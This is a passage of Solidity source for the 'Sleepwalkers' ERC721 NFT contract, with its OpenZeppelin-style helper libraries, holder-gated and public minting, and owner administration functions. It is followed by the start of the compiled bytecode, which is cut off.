others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract Sleepwalkers is ERC721Enumerable, Ownable { uint public maxTokens = 8888; uint public mintPrice = 0.0888 ether; uint public maxMintsPerTx = 10; mapping(uint => uint) public muleSquadUsedForMint; string internal baseTokenURI; string internal baseTokenURI_EXT; address public mulesquadAddress; address public cyberkongzAddress; address public anonymiceAddress; IERC721 Mulesquad; IERC721 Cyberkongz; IERC721 Anonymice; event Mint(address indexed to, uint tokenId); constructor() ERC721("Sleepwalkers", "SLP") {} function withdrawEther() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } modifier onlySender { require(msg.sender == tx.origin, "No smart contracts!"); _; } function setMulesquad(address address_) public onlyOwner { mulesquadAddress = address_; Mulesquad = IERC721(address_); } function setCyberkongz(address address_) public onlyOwner { cyberkongzAddress = address_; Cyberkongz = IERC721(address_); } function setAnonymice(address address_) public onlyOwner { anonymiceAddress = address_; Anonymice = IERC721(address_); } // Owner Mint function ownerMint(address address_, uint amount_) public onlyOwner { require(maxTokens >= totalSupply() + amount_, "Not enough tokens remaining!"); for (uint i = 0; i < amount_; i++) { uint _mintId = totalSupply() + 1; // iterate from 1 _mint(address_, _mintId); emit Mint(address_, _mintId); } } // Mint with Token bool public claimEnabled; uint public claimTime; uint public claimMinted; modifier publicClaiming { require(claimEnabled && block.timestamp >= claimTime, "Public Claiming is not available!"); _; } function setClaimEnabled(bool bool_, uint claimTime_) public onlyOwner { claimEnabled = bool_; claimTime = claimTime_; } function claim(uint tokenId_) public onlySender publicClaiming { require(msg.sender == Mulesquad.ownerOf(tokenId_), "You do not own this Mulesquad!"); require(maxTokens > totalSupply(), "No more remaining tokens left!"); require(muleSquadUsedForMint[tokenId_] == 0, "This token was already used for claiming!"); muleSquadUsedForMint[tokenId_]++; claimMinted++; uint _mintId = totalSupply() + 1; // iterate from 1 _mint(msg.sender, _mintId); emit Mint(msg.sender, _mintId); } // Whitelisted Minting bool public whitelistMintEnabled; uint public whitelistMintTime; uint public whitelistHasMinted; modifier whitelistMinting { require(whitelistMintEnabled && block.timestamp >= whitelistMintTime, "Whitelisted Minting is not yet available!"); _; } function setWhitelistMintingStatus(bool bool_, uint mintTime_) public onlyOwner { whitelistMintEnabled = bool_; whitelistMintTime = mintTime_; } function whitelistMint(uint amount_) public payable onlySender whitelistMinting { require(Anonymice.balanceOf(msg.sender) > 0 || Cyberkongz.balanceOf(msg.sender) > 0 || Mulesquad.balanceOf(msg.sender) > 0, "You do not have a Mulesquad, Anonymice, or Cyberkongz!"); require(maxMintsPerTx >= amount_, "Over maximum mints per Tx!"); require(maxTokens >= totalSupply() + amount_, "Not enough remaining tokens left!"); require(msg.value == mintPrice * amount_, "Invalid value sent!"); whitelistHasMinted += amount_; for (uint i = 0; i < amount_; i++) { uint _mintId = totalSupply() + 1; // iterate from 1 _mint(msg.sender, _mintId); emit Mint(msg.sender, _mintId); } } // Public Minting bool public publicMintEnabled; uint public publicMintTime; uint public publicHasMinted; modifier publicMinting { require(publicMintEnabled && block.timestamp >= publicMintTime, "Public Minting is not yet enabled!"); _; } function setPublicMintingStatus(bool bool_, uint mintTime_) public onlyOwner { publicMintEnabled = bool_; publicMintTime = mintTime_; } function mint(uint amount_) public payable onlySender publicMinting { require(maxMintsPerTx >= amount_, "Over maximum mints per Tx!"); require(maxTokens >= totalSupply() + amount_, "Not enough remaining tokens left!"); require(msg.value == mintPrice * amount_, "Invalid value sent!"); publicHasMinted += amount_; for (uint i = 0; i < amount_; i++) { uint _mintId = totalSupply() + 1; // iterate from 1 _mint(msg.sender, _mintId); emit Mint(msg.sender, _mintId); } } // General NFT Administration function setBaseTokenURI(string memory uri_) external onlyOwner { baseTokenURI = uri_; } function setBaseTokenURI_EXT(string memory ext_) external onlyOwner { baseTokenURI_EXT = ext_; } function tokenURI(uint tokenId_) public view override returns (string memory) { require(_exists(tokenId_), "Query for non-existent token!"); return string(abi.encodePacked(baseTokenURI, Strings.toString(tokenId_), baseTokenURI_EXT)); } function walletOfOwner(address address_) public view returns (uint[] memory) { uint _balance = balanceOf(address_); // get balance of address uint[] memory _tokenIds = new uint[](_balance); // initialize array for (uint i = 0; i < _balance; i++) { _tokenIds[i] = tokenOfOwnerByIndex(address_, i); } return _tokenIds; } }
0x6080604052600436106102ae5760003560e01c806369d77a1911610175578063b150c008116100dc578063e831574211610095578063f240ab9b1161006f578063f240ab9b1461082b578063f2fde38b14610858578063f4cda47714610878578063f518a0fa1461088e57600080fd5b8063e8315742146107ac578063e985e9c5146107c2578063eee6fa161461080b57600080fd5b8063b150c00814610700578063b88d4fde14610720578063ba725a4d14610740578063c87b56dd14610756578063ca87201114610776578063dc30158b1461079657600080fd5b80638da5cb5b1161012e5780638da5cb5b1461066457806395d89b4114610682578063a0712d6814610697578063a0c3f308146106aa578063a22cb465146106ca578063a8f72e12146106ea57600080fd5b806369d77a19146105cd5780636caede3d146105ed57806370a0823114610607578063715018a6146106275780637362377b1461063c578063868ff4a21461065157600080fd5b80632f745c5911610219578063484b973c116101d2578063484b973c146105215780634f6ccce71461054157806359025d0b146105615780635e403472146105815780636352211e146105975780636817c76c146105b757600080fd5b80632f745c591461045457806330176e1314610474578063379607f51461049457806340e82dbe146104b457806342842e0e146104d4578063438b6300146104f457600080fd5b80630f4161aa1161026b5780630f4161aa146103a457806314716ac8146103be57806318160ddd146103de57806323b872dd146103fd57806327b3bf111461041d5780632866ed211461043357600080fd5b806301ffc9a7146102b357806302ffaed1146102e857806306fdde031461030a5780630748004b1461032c578063081812fc14610364578063095ea7b314610384575b600080fd5b3480156102bf57600080fd5b506102d36102ce366004612906565b6108a4565b60405190151581526020015b60405180910390f35b3480156102f457600080fd5b50610308610303366004612940565b6108cf565b005b34801561031657600080fd5b5061031f610919565b6040516102df9190612b35565b34801561033857600080fd5b5060125461034c906001600160a01b031681565b6040516001600160a01b0390911681526020016102df565b34801561037057600080fd5b5061034c61037f366004612989565b6109ab565b34801561039057600080fd5b5061030861039f3660046128be565b610a40565b3480156103b057600080fd5b50601c546102d39060ff1681565b3480156103ca57600080fd5b5060135461034c906001600160a01b031681565b3480156103ea57600080fd5b506008545b6040519081526020016102df565b34801561040957600080fd5b506103086104183660046127c8565b610b56565b34801561042957600080fd5b506103ef60175481565b34801561043f57600080fd5b506016546102d390600160a01b900460ff1681565b34801561046057600080fd5b506103ef61046f3660046128be565b610b87565b34801561048057600080fd5b5061030861048f366004612940565b610c1d565b3480156104a057600080fd5b506103086104af366004612989565b610c5a565b3480156104c057600080fd5b5060115461034c906001600160a01b031681565b3480156104e057600080fd5b506103086104ef3660046127c8565b610f04565b34801561050057600080fd5b5061051461050f36600461274e565b610f1f565b6040516102df9190612af1565b34801561052d57600080fd5b5061030861053c3660046128be565b610fc1565b34801561054d